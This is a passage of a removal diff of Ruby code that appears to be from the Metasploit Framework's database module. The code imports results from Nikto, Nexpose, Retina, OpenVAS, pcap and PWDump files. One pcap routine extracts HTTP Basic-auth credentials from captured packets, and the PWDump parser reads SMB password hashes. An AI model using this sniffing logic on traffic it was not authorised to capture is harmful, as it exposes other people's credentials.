- if item.attributes['osvdbid'].to_i != 0 - desc_data[:refs] = ["OSVDB-#{item.attributes['osvdbid']}"] - desc_data[:name] = "NIKTO-#{item.attributes['id']}" - desc_data.delete(:data) - desc_data.delete(:type) - desc_data.delete(:update) - report_vuln(desc_data) - end - end - end - end - end - end - - def import_wapiti_xml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_wapiti_xml(args.merge(:data => data)) - end - - def import_wapiti_xml(args={}, &block) - if block - doc = Rex::Parser::WapitiDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::WapitiDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - def import_openvas_new_xml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_wapiti_xml(args.merge(:data => data)) - end - - def import_openvas_new_xml(args={}, &block) - if block - doc = Rex::Parser::OpenVASDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::OpenVASDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - def import_libpcap_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = PacketFu::PcapFile.new(:filename => filename) - import_libpcap(args.merge(:data => data)) - end - - # The libpcap file format is handled by PacketFu for data - # extraction. TODO: Make this its own mixin, and possibly - # extend PacketFu to do better stream analysis on the fly. - def import_libpcap(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - # seen_hosts is only used for determining when to yield an address. Once we get - # some packet analysis going, the values will have all sorts of info. The plan - # is to ru through all the packets as a first pass and report host and service, - # then, once we have everything parsed, we can reconstruct sessions and ngrep - # out things like authentication sequences, examine ttl's and window sizes, all - # kinds of crazy awesome stuff like that. - seen_hosts = {} - decoded_packets = 0 - last_count = 0 - data.read_packet_bytes do |p| - if (decoded_packets >= last_count + 1000) and block - yield(:pcap_count, decoded_packets) - last_count = decoded_packets - end - decoded_packets += 1 - - pkt = PacketFu::Packet.parse(p) rescue next # Just silently skip bad packets - - next unless pkt.is_ip? # Skip anything that's not IP. Technically, not Ethernet::Ip - next if pkt.is_tcp? && (pkt.tcp_src == 0 || pkt.tcp_dst == 0) # Skip port 0 - next if pkt.is_udp? && (pkt.udp_src == 0 || pkt.udp_dst == 0) # Skip port 0 - saddr = pkt.ip_saddr - daddr = pkt.ip_daddr - - # Handle blacklists and obviously useless IP addresses, and report the host. - next if (bl | [saddr,daddr]).size == bl.size # Both hosts are blacklisted, skip everything. - unless( bl.include?(saddr) || rfc3330_reserved(saddr)) - yield(:address,saddr) if block and !seen_hosts.keys.include?(saddr) - unless seen_hosts[saddr] - report_host( - :workspace => wspace, - :host => saddr, - :state => Msf::HostState::Alive, - :task => args[:task] - ) - end - seen_hosts[saddr] ||= [] - - end - unless( bl.include?(daddr) || rfc3330_reserved(daddr)) - yield(:address,daddr) if block and !seen_hosts.keys.include?(daddr) - unless seen_hosts[daddr] - report_host( - :workspace => wspace, - :host => daddr, - :state => Msf::HostState::Alive, - :task => args[:task] - ) - end - seen_hosts[daddr] ||= [] - end - - if pkt.is_tcp? # First pass on TCP packets - if (pkt.tcp_flags.syn == 1 and pkt.tcp_flags.ack == 1) or # Oh, this kills me - pkt.tcp_src < 1024 # If it's a low port, assume it's a proper service. - if seen_hosts[saddr] - unless seen_hosts[saddr].include? [pkt.tcp_src,"tcp"] - report_service( - :workspace => wspace, :host => saddr, - :proto => "tcp", :port => pkt.tcp_src, - :state => Msf::ServiceState::Open, - :task => args[:task] - ) - seen_hosts[saddr] << [pkt.tcp_src,"tcp"] - yield(:service,"%s:%d/%s" % [saddr,pkt.tcp_src,"tcp"]) - end - end - end - elsif pkt.is_udp? # First pass on UDP packets - if pkt.udp_src == pkt.udp_dst # Very basic p2p detection. - [saddr,daddr].each do |xaddr| - if seen_hosts[xaddr] - unless seen_hosts[xaddr].include? [pkt.udp_src,"udp"] - report_service( - :workspace => wspace, :host => xaddr, - :proto => "udp", :port => pkt.udp_src, - :state => Msf::ServiceState::Open, - :task => args[:task] - ) - seen_hosts[xaddr] << [pkt.udp_src,"udp"] - yield(:service,"%s:%d/%s" % [xaddr,pkt.udp_src,"udp"]) - end - end - end - elsif pkt.udp_src < 1024 # Probably a service - if seen_hosts[saddr] - unless seen_hosts[saddr].include? [pkt.udp_src,"udp"] - report_service( - :workspace => wspace, :host => saddr, - :proto => "udp", :port => pkt.udp_src, - :state => Msf::ServiceState::Open, - :task => args[:task] - ) - seen_hosts[saddr] << [pkt.udp_src,"udp"] - yield(:service,"%s:%d/%s" % [saddr,pkt.udp_src,"udp"]) - end - end - end - end # tcp or udp - - inspect_single_packet(pkt,wspace,args[:task]) - - end # data.body.map - - # Right about here, we should have built up some streams for some stream analysis. - # Not sure what form that will take, but people like shoving many hundreds of - # thousands of packets through this thing, so it'll need to be memory efficient. - - end - - # Do all the single packet analysis we can while churning through the pcap - # the first time. Multiple packet inspection will come later, where we can - # do stream analysis, compare requests and responses, etc. - def inspect_single_packet(pkt,wspace,task=nil) - if pkt.is_tcp? or pkt.is_udp? - inspect_single_packet_http(pkt,wspace,task) - end - end - - # Checks for packets that are headed towards port 80, are tcp, contain an HTTP/1.0 - # line, contains an Authorization line, contains a b64-encoded credential, and - # extracts it. Reports this credential and solidifies the service as HTTP. - def inspect_single_packet_http(pkt,wspace,task=nil) - # First, check the server side (data from port 80). - if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? - if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n - http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n) - if http_server_match.kind_of?(MatchData) and http_server_match[1] - report_service( - :workspace => wspace, - :host => pkt.ip_saddr, - :port => pkt.tcp_src, - :proto => "tcp", - :name => "http", - :info => http_server_match[1], - :state => Msf::ServiceState::Open, - :task => task - ) - # That's all we want to know from this service. - return :something_significant - end - end - end - - # Next, check the client side (data to port 80) - if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty? - if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n) - auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n) - if auth_match.kind_of?(MatchData) and auth_match[1] - b64_cred = auth_match[1] - else - return false - end - # If we're this far, we can surmise that at least the client is a web browser, - # he thinks the server is HTTP and he just made an authentication attempt. At - # this point, we'll just believe everything the packet says -- validation ought - # to come later. - user,pass = b64_cred.unpack("m*").first.split(/:/,2) - report_service( - :workspace => wspace, - :host => pkt.ip_daddr, - :port => pkt.tcp_dst, - :proto => "tcp", - :name => "http", - :task => task - ) - report_auth_info( - :workspace => wspace, - :host => pkt.ip_daddr, - :port => pkt.tcp_dst, - :proto => "tcp", - :type => "password", - :active => true, # Once we can build a stream, determine if the auth was successful. For now, assume it is. - :user => user, - :pass => pass, - :task => task - ) - # That's all we want to know from this service. - return :something_significant - end - end - end - - def import_spiceworks_csv(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - CSV.parse(data) do |row| - next unless (["Name", "Manufacturer", "Device Type"] & row).empty? #header - name = row[0] - manufacturer = row[1] - device = row[2] - model = row[3] - ip = row[4] - serialno = row[5] - location = row[6] - os = row[7] - - next unless ip - next if bl.include? ip - - conf = { - :workspace => wspace, - :host => ip, - :name => name, - :task => args[:task] - } - - conf[:os_name] = os if os - - info = [] - info << "Serial Number: #{serialno}" unless (serialno.blank? or serialno == name) - info << "Location: #{location}" unless location.blank? - conf[:info] = info.join(", ") unless info.empty? - - host = report_host(conf) - report_import_note(wspace, host) - end - end - - # - # Metasploit PWDump Export - # - # This file format is generated by the db_export -f pwdump and - # the Metasploit Express and Pro report types of "PWDump." - # - # This particular block scheme is temporary, since someone is - # bound to want to import gigantic lists, so we'll want a - # stream parser eventually (just like the other non-nmap formats). - # - # The file format is: - # # 1.2.3.4:23/tcp (telnet) - # username password - # user2 p\x01a\x02ss2 - # <BLANK> pass3 - # user3 <BLANK> - # smbuser:sid:lmhash:nthash::: - # - # Note the leading hash for the host:port line. Note also all usernames - # and passwords must be in 7-bit ASCII (character sequences of "\x01" - # will be interpolated -- this includes spaces, which must be notated - # as "\x20". Blank usernames or passwords should be <BLANK>. - # - def import_msf_pwdump(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - last_host = nil - - addr = nil - port = nil - proto = nil - sname = nil - ptype = nil - active = false # Are there cases where imported creds are good? I just hate trusting the import right away. - - data.each_line do |line| - case line - when /^[\s]*#/ # Comment lines - if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n] - addr = $1 - port = $2 - proto = $4 - sname = $6 - end - when /^[\s]*Warning:/ - # Discard warning messages. - next - - # SMB Hash - when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ - user = ([nil, "<BLANK>"].include?($1)) ? "" : $1 - pass = ([nil, "<BLANK>"].include?($2)) ? "" : $2 - ptype = "smb_hash" - - # SMB Hash - when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ - user = ([nil, "<BLANK>"].include?($1)) ? "" : $1 - pass = "" - ptype = "smb_hash" - - # SMB Hash with cracked plaintext, or just plain old plaintext - when /^[\s]*([^\s:]+):(.+):[A-Fa-f0-9]*:[A-Fa-f0-9]*:::$/ - user = ([nil, "<BLANK>"].include?($1)) ? "" : $1 - pass = ([nil, "<BLANK>"].include?($2)) ? "" : $2 - ptype = "password" - - # Must be a user pass - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n - user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1) - pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2) - ptype = "password" - else # Some unknown line not broken by a space. - next - end - - next unless [addr,port,user,pass].compact.size == 4 - next unless ipv46_validator(addr) # Skip Malformed addrs - next unless port[/^[0-9]+$/] # Skip malformed ports - if bl.include? addr - next - else - yield(:address,addr) if block and addr != last_host - last_host = addr - end - - cred_info = { - :host => addr, - :port => port, - :user => user, - :pass => pass, - :type => ptype, - :workspace => wspace, - :task => args[:task] - } - cred_info[:proto] = proto if proto - cred_info[:sname] = sname if sname - cred_info[:active] = active - - report_auth_info(cred_info) - user = pass = ptype = nil - end - - end - - # If hex notation is present, turn them into a character. - def dehex(str) - hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n) - hexen.each { |h| - str.gsub!(h,h[2,2].to_i(16).chr) - } - return str - end - - - # - # Nexpose Simple XML - # - # XXX At some point we'll want to make this a stream parser for dealing - # with large results files - # - def import_nexpose_simplexml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_nexpose_simplexml(args.merge(:data => data)) - end - - # Import a Metasploit XML file. - def import_msf_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_msf_xml(args.merge(:data => data)) - end - - # Import a Metasploit Express ZIP file. Note that this requires - # a fair bit of filesystem manipulation, and is very much tied - # up with the Metasploit Express ZIP file format export (for - # obvious reasons). In the event directories exist, they will - # be reused. If target files exist, they will be overwritten. - # - # XXX: Refactor so it's not quite as sanity-blasting. - def import_msf_zip(args={}, &block) - data = args[:data] - wpsace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename]) - if ::File.exists? new_tmp - unless (::File.directory?(new_tmp) && ::File.writable?(new_tmp)) - raise DBImportError.new("Could not extract zip file to #{new_tmp}") - end - else - FileUtils.mkdir_p(new_tmp) - end - @import_filedata[:zip_tmp] = new_tmp - - # Grab the list of unique basedirs over all entries. - @import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."} - - # mkdir all of the base directores we just pulled out, if they don't - # already exist - @import_filedata[:zip_tmp_subdirs].each {|sub| - tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub) - if File.exists? tmp_subdirs - unless (::File.directory?(tmp_subdirs) && File.writable?(tmp_subdirs)) - # if it exists but we can't write to it, give up - raise DBImportError.new("Could not extract zip file to #{tmp_subdirs}") - end - else - ::FileUtils.mkdir(tmp_subdirs) - end - } - - - data.entries.each do |e| - target = ::File.join(@import_filedata[:zip_tmp],e.name) - ::File.unlink target if ::File.exists?(target) # Yep. Deleted. - data.extract(e,target) - if target =~ /^.*.xml$/ - target_data = ::File.open(target, "rb") {|f| f.read 1024} - if import_filetype_detect(target_data) == :msf_xml - @import_filedata[:zip_extracted_xml] = target - #break - end - end - end - - # This will kick the newly-extracted XML file through - # the import_file process all over again. - if @import_filedata[:zip_extracted_xml] - new_args = args.dup - new_args[:filename] = @import_filedata[:zip_extracted_xml] - new_args[:data] = nil - new_args[:ifd] = @import_filedata.dup - if block - import_file(new_args, &block) - else - import_file(new_args) - end - end - - # Kick down to all the MSFX ZIP specific items - if block - import_msf_collateral(new_args, &block) - else - import_msf_collateral(new_args) - end - end - - # Imports loot, tasks, and reports from an MSF ZIP report. - # XXX: This function is stupidly long. It needs to be refactored. - def import_msf_collateral(args={}, &block) - data = ::File.open(args[:filename], "rb") {|f| f.read(f.stat.size)} - wspace = args[:wspace] || args['wspace'] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - basedir = args[:basedir] || args['basedir'] || ::File.join(Msf::Config.data_directory, "msf") - - allow_yaml = false - btag = nil - - doc = rexmlify(data) - if doc.elements["MetasploitExpressV1"] - m_ver = 1 - allow_yaml = true - btag = "MetasploitExpressV1" - elsif doc.elements["MetasploitExpressV2"] - m_ver = 2 - allow_yaml = true - btag = "MetasploitExpressV2" - elsif doc.elements["MetasploitExpressV3"] - m_ver = 3 - btag = "MetasploitExpressV3" - elsif doc.elements["MetasploitExpressV4"] - m_ver = 4 - btag = "MetasploitExpressV4" - elsif doc.elements["MetasploitV4"] - m_ver = 4 - btag = "MetasploitV4" - else - m_ver = nil - end - unless m_ver and btag - raise DBImportError.new("Unsupported Metasploit XML document format") - end - - host_info = {} - doc.elements.each("/#{btag}/hosts/host") do |host| - host_info[host.elements["id"].text.to_s.strip] = nils_for_nulls(host.elements["address"].text.to_s.strip) - end - - # Import Loot - doc.elements.each("/#{btag}/loots/loot") do |loot| - next if bl.include? host_info[loot.elements["host-id"].text.to_s.strip] - loot_info = {} - loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip] - loot_info[:workspace] = args[:wspace] - loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip) - loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml)) - loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip) - loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip) - loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip) - loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip) - loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip) - loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip) - loot_info[:task] = args[:task] - tmp = args[:ifd][:zip_tmp] - loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path] - if !loot.elements["service-id"].text.to_s.strip.empty? - unless loot.elements["service-id"].text.to_s.strip == "NULL" - loot_info[:service] = loot.elements["service-id"].text.to_s.strip - end - end - - # Only report loot if we actually have it. - # TODO: Copypasta. Seperate this out. - if ::File.exists? loot_info[:orig_path] - loot_dir = ::File.join(basedir,"loot") - loot_file = ::File.split(loot_info[:orig_path]).last - if ::File.exists? loot_dir - unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir)) - raise DBImportError.new("Could not move files to #{loot_dir}") - end - else - ::FileUtils.mkdir_p(loot_dir) - end - new_loot = ::File.join(loot_dir,loot_file) - loot_info[:path] = new_loot - if ::File.exists?(new_loot) - ::File.unlink new_loot # Delete it, and don't report it. - else - report_loot(loot_info) # It's new, so report it. - end - ::FileUtils.copy(loot_info[:orig_path], new_loot) - yield(:msf_loot, new_loot) if block - end - end - - # Import Tasks - doc.elements.each("/#{btag}/tasks/task") do |task| - task_info = {} - task_info[:workspace] = args[:wspace] - # Should user be imported (original) or declared (the importing user)? - task_info[:user] = nils_for_nulls(task.elements["created-by"].text.to_s.strip) - task_info[:desc] = nils_for_nulls(task.elements["description"].text.to_s.strip) - task_info[:info] = nils_for_nulls(unserialize_object(task.elements["info"], allow_yaml)) - task_info[:mod] = nils_for_nulls(task.elements["module"].text.to_s.strip) - task_info[:options] = nils_for_nulls(task.elements["options"].text.to_s.strip) - task_info[:prog] = nils_for_nulls(task.elements["progress"].text.to_s.strip).to_i - task_info[:created_at] = nils_for_nulls(task.elements["created-at"].text.to_s.strip) - task_info[:updated_at] = nils_for_nulls(task.elements["updated-at"].text.to_s.strip) - if !task.elements["completed-at"].text.to_s.empty? - task_info[:completed_at] = nils_for_nulls(task.elements["completed-at"].text.to_s.strip) - end - if !task.elements["error"].text.to_s.empty? - task_info[:error] = nils_for_nulls(task.elements["error"].text.to_s.strip) - end - if !task.elements["result"].text.to_s.empty? - task_info[:result] = nils_for_nulls(task.elements["result"].text.to_s.strip) - end - task_info[:orig_path] = nils_for_nulls(task.elements["path"].text.to_s.strip) - tmp = args[:ifd][:zip_tmp] - task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path] - - # Only report a task if we actually have it. - # TODO: Copypasta. Seperate this out. - if ::File.exists? task_info[:orig_path] - tasks_dir = ::File.join(basedir,"tasks") - task_file = ::File.split(task_info[:orig_path]).last - if ::File.exists? tasks_dir - unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir)) - raise DBImportError.new("Could not move files to #{tasks_dir}") - end - else - ::FileUtils.mkdir_p(tasks_dir) - end - new_task = ::File.join(tasks_dir,task_file) - task_info[:path] = new_task - if ::File.exists?(new_task) - ::File.unlink new_task # Delete it, and don't report it. - else - report_task(task_info) # It's new, so report it. - end - ::FileUtils.copy(task_info[:orig_path], new_task) - yield(:msf_task, new_task) if block - end - end - - # Import Reports - doc.elements.each("/#{btag}/reports/report") do |report| - tmp = args[:ifd][:zip_tmp] - report_info = {} - report_info[:workspace] = args[:wspace] - # Should user be imported (original) or declared (the importing user)? - report_info[:user] = nils_for_nulls(report.elements["created-by"].text.to_s.strip) - report_info[:options] = nils_for_nulls(report.elements["options"].text.to_s.strip) - report_info[:rtype] = nils_for_nulls(report.elements["rtype"].text.to_s.strip) - report_info[:created_at] = nils_for_nulls(report.elements["created-at"].text.to_s.strip) - report_info[:updated_at] = nils_for_nulls(report.elements["updated-at"].text.to_s.strip) - report_info[:orig_path] = nils_for_nulls(report.elements["path"].text.to_s.strip) - report_info[:task] = args[:task] - report_info[:orig_path].gsub!(/^\./, tmp) if report_info[:orig_path] - - # Only report a report if we actually have it. - # TODO: Copypasta. Seperate this out. - if ::File.exists? report_info[:orig_path] - reports_dir = ::File.join(basedir,"reports") - report_file = ::File.split(report_info[:orig_path]).last - if ::File.exists? reports_dir - unless (::File.directory?(reports_dir) && ::File.writable?(reports_dir)) - raise DBImportError.new("Could not move files to #{reports_dir}") - end - else - ::FileUtils.mkdir_p(reports_dir) - end - new_report = ::File.join(reports_dir,report_file) - report_info[:path] = new_report - if ::File.exists?(new_report) - ::File.unlink new_report - else - report_report(report_info) - end - ::FileUtils.copy(report_info[:orig_path], new_report) - yield(:msf_report, new_report) if block - end - end - - end - - # Convert the string "NULL" to actual nil - def nils_for_nulls(str) - str == "NULL" ? nil : str - end - - def import_nexpose_simplexml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_nexpose_noko_stream(noko_args) {|type, data| yield type,data} - else - import_nexpose_noko_stream(noko_args) - end - return true - end - data = args[:data] - - doc = rexmlify(data) - doc.elements.each('/NeXposeSimpleXML/devices/device') do |dev| - addr = dev.attributes['address'].to_s - if bl.include? addr - next - else - yield(:address,addr) if block - end - - fprint = {} - - dev.elements.each('fingerprint/description') do |str| - fprint[:desc] = str.text.to_s.strip - end - dev.elements.each('fingerprint/vendor') do |str| - fprint[:vendor] = str.text.to_s.strip - end - dev.elements.each('fingerprint/family') do |str| - fprint[:family] = str.text.to_s.strip - end - dev.elements.each('fingerprint/product') do |str| - fprint[:product] = str.text.to_s.strip - end - dev.elements.each('fingerprint/version') do |str| - fprint[:version] = str.text.to_s.strip - end - dev.elements.each('fingerprint/architecture') do |str| - fprint[:arch] = str.text.to_s.upcase.strip - end - - conf = { - :workspace => wspace, - :host => addr, - :state => Msf::HostState::Alive, - :task => args[:task] - } - - host = report_host(conf) - report_import_note(wspace, host) - - report_note( - :workspace => wspace, - :host => host, - :type => 'host.os.nexpose_fingerprint', - :data => fprint, - :task => args[:task] - ) - - # Load vulnerabilities not associated with a service - dev.elements.each('vulnerabilities/vulnerability') do |vuln| - vid = vuln.attributes['id'].to_s.downcase - refs = process_nexpose_data_sxml_refs(vuln) - next if not refs - report_vuln( - :workspace => wspace, - :host => host, - :name => 'NEXPOSE-' + vid, - :info => vid, - :refs => refs, - :task => args[:task] - ) - end - - # Load the services - dev.elements.each('services/service') do |svc| - sname = svc.attributes['name'].to_s - sprot = svc.attributes['protocol'].to_s.downcase - sport = svc.attributes['port'].to_s.to_i - next if sport == 0 - - name = sname.split('(')[0].strip - info = '' - - svc.elements.each('fingerprint/description') do |str| - info = str.text.to_s.strip - end - - if(sname.downcase != '<unknown>') - report_service( - :workspace => wspace, - :host => host, - :proto => sprot, - :port => sport, - :name => name, - :info => info, - :task => args[:task] - ) - else - report_service( - :workspace => wspace, - :host => host, - :proto => sprot, - :port => sport, - :info => info, - :task => args[:task] - ) - end - - # Load vulnerabilities associated with this service - svc.elements.each('vulnerabilities/vulnerability') do |vuln| - vid = vuln.attributes['id'].to_s.downcase - refs = process_nexpose_data_sxml_refs(vuln) - next if not refs - report_vuln( - :workspace => wspace, - :host => host, - :port => sport, - :proto => sprot, - :name => 'NEXPOSE-' + vid, - :info => vid, - :refs => refs, - :task => args[:task] - ) - end - end - end - end - - - # - # Nexpose Raw XML - # - def import_nexpose_rawxml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_nexpose_rawxml(args.merge(:data => data)) - end - - def import_nexpose_rawxml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_nexpose_raw_noko_stream(noko_args) {|type, data| yield type,data} - else - import_nexpose_raw_noko_stream(noko_args) - end - return true - end - data = args[:data] - - # Use a stream parser instead of a tree parser so we can deal with - # huge results files without running out of memory. - parser = Rex::Parser::NexposeXMLStreamParser.new - - # Since all the Refs have to be in the database before we can use them - # in a Vuln, we store all the hosts until we finish parsing and only - # then put everything in the database. This is memory-intensive for - # large files, but should be much less so than a tree parser. - # - # This method is also considerably faster than parsing through the tree - # looking for references every time we hit a vuln. - hosts = [] - vulns = [] - - # The callback merely populates our in-memory table of hosts and vulns - parser.callback = Proc.new { |type, value| - case type - when :host - # XXX: Blacklist should be checked here instead of saving a - # host we're just going to throw away later - hosts.push(value) - when :vuln - value["id"] = value["id"].downcase if value["id"] - vulns.push(value) - end - } - - REXML::Document.parse_stream(data, parser) - - vuln_refs = nexpose_refs_to_struct(vulns) - hosts.each do |host| - if bl.include? host["addr"] - next - else - yield(:address,host["addr"]) if block - end - nexpose_host_from_rawxml(host, vuln_refs, wspace) - end - end - - # - # Takes an array of vuln hashes, as returned by the NeXpose rawxml stream - # parser, like: - # [ - # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} - # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} - # ] - # and transforms it into a struct, containing :id, :refs, :title, and :severity - # - # Other attributes can be added later, as needed. - def nexpose_refs_to_struct(vulns) - ret = [] - vulns.each do |vuln| - next if ret.map {|v| v.id}.include? vuln["id"] - vstruct = Struct.new(:id, :refs, :title, :severity).new - vstruct.id = vuln["id"] - vstruct.title = vuln["title"] - vstruct.severity = vuln["severity"] - vstruct.refs = [] - vuln["refs"].each do |ref| - if ref['source'] == 'BID' - vstruct.refs.push('BID-' + ref["value"]) - elsif ref['source'] == 'CVE' - # value is CVE-$ID - vstruct.refs.push(ref["value"]) - elsif ref['source'] == 'MS' - vstruct.refs.push('MSB-' + ref["value"]) - elsif ref['source'] == 'URL' - vstruct.refs.push('URL-' + ref["value"]) - end - end - ret.push vstruct - end - return ret - end - - # Takes a Host object, an array of vuln structs (generated by nexpose_refs_to_struct()), - # and a workspace, and reports the vulns on that host. - def nexpose_host_from_rawxml(h, vstructs, wspace,task=nil) - hobj = nil - data = {:workspace => wspace} - if h["addr"] - addr = h["addr"] - else - # Can't report it if it doesn't have an IP - return - end - data[:host] = addr - if (h["hardware-address"]) - # Put colons between each octet of the MAC address - data[:mac] = h["hardware-address"].gsub(':', '').scan(/../).join(':') - end - data[:state] = (h["status"] == "alive") ? Msf::HostState::Alive : Msf::HostState::Dead - - # Since we only have one name field per host in the database, just - # take the first one. - if (h["names"] and h["names"].first) - data[:name] = h["names"].first - end - - if (data[:state] != Msf::HostState::Dead) - hobj = report_host(data) - report_import_note(wspace, hobj) - end - - if h["notes"] - note = { - :workspace => wspace, - :host => (hobj || addr), - :type => "host.vuln.nexpose_keys", - :data => {}, - :mode => :unique_data, - :task => task - } - h["notes"].each do |v,k| - note[:data][v] ||= [] - next if note[:data][v].include? k - note[:data][v] << k - end - report_note(note) - end - - if h["os_family"] - note = { - :workspace => wspace, - :host => hobj || addr, - :type => 'host.os.nexpose_fingerprint', - :task => task, - :data => { - :family => h["os_family"], - :certainty => h["os_certainty"] - } - } - note[:data][:vendor] = h["os_vendor"] if h["os_vendor"] - note[:data][:product] = h["os_product"] if h["os_product"] - note[:data][:version] = h["os_version"] if h["os_version"] - note[:data][:arch] = h["arch"] if h["arch"] - - report_note(note) - end - - h["endpoints"].each { |p| - extra = "" - extra << p["product"] + " " if p["product"] - extra << p["version"] + " " if p["version"] - - # Skip port-0 endpoints - next if p["port"].to_i == 0 - - # XXX This should probably be handled in a more standard way - # extra << "(" + p["certainty"] + " certainty) " if p["certainty"] - - data = {} - data[:workspace] = wspace - data[:proto] = p["protocol"].downcase - data[:port] = p["port"].to_i - data[:state] = p["status"] - data[:host] = hobj || addr - data[:info] = extra if not extra.empty? - data[:task] = task - if p["name"] != "<unknown>" - data[:name] = p["name"] - end - report_service(data) - } - - h["vulns"].each_pair { |k,v| - - next if v["status"] !~ /^vulnerable/ - vstruct = vstructs.select {|vs| vs.id.to_s.downcase == v["id"].to_s.downcase}.first - next unless vstruct - data = {} - data[:workspace] = wspace - data[:host] = hobj || addr - data[:proto] = v["protocol"].downcase if v["protocol"] - data[:port] = v["port"].to_i if v["port"] - data[:name] = "NEXPOSE-" + v["id"] - data[:info] = vstruct.title - data[:refs] = vstruct.refs - data[:task] = task - report_vuln(data) - } - end - - - # - # Retina XML - # - - # Process a Retina XML file - def import_retina_xml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_retina_xml(args.merge(:data => data)) - end - - # Process Retina XML - def import_retina_xml(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - msg = "Warning: The Retina XML format does not associate vulnerabilities with the\n" - msg << "specific service on which they were found.\n" - msg << "This makes it impossible to correlate exploits to discovered vulnerabilities\n" - msg << "in a reliable fashion." - - yield(:warning,msg) if block - - parser = Rex::Parser::RetinaXMLStreamParser.new - parser.on_found_host = Proc.new do |host| - hobj = nil - data = {:workspace => wspace} - addr = host['address'] - next if not addr - - next if bl.include? addr - data[:host] = addr - - if host['mac'] - data[:mac] = host['mac'] - end - - data[:state] = Msf::HostState::Alive - - if host['hostname'] - data[:name] = host['hostname'] - end - - if host['netbios'] - data[:name] = host['netbios'] - end - - yield(:address, data[:host]) if block - - # Import Host - hobj = report_host(data) - report_import_note(wspace, hobj) - - # Import OS fingerprint - if host["os"] - note = { - :workspace => wspace, - :host => addr, - :type => 'host.os.retina_fingerprint', - :task => args[:task], - :data => { - :os => host["os"] - } - } - report_note(note) - end - - # Import vulnerabilities - host['vulns'].each do |vuln| - refs = 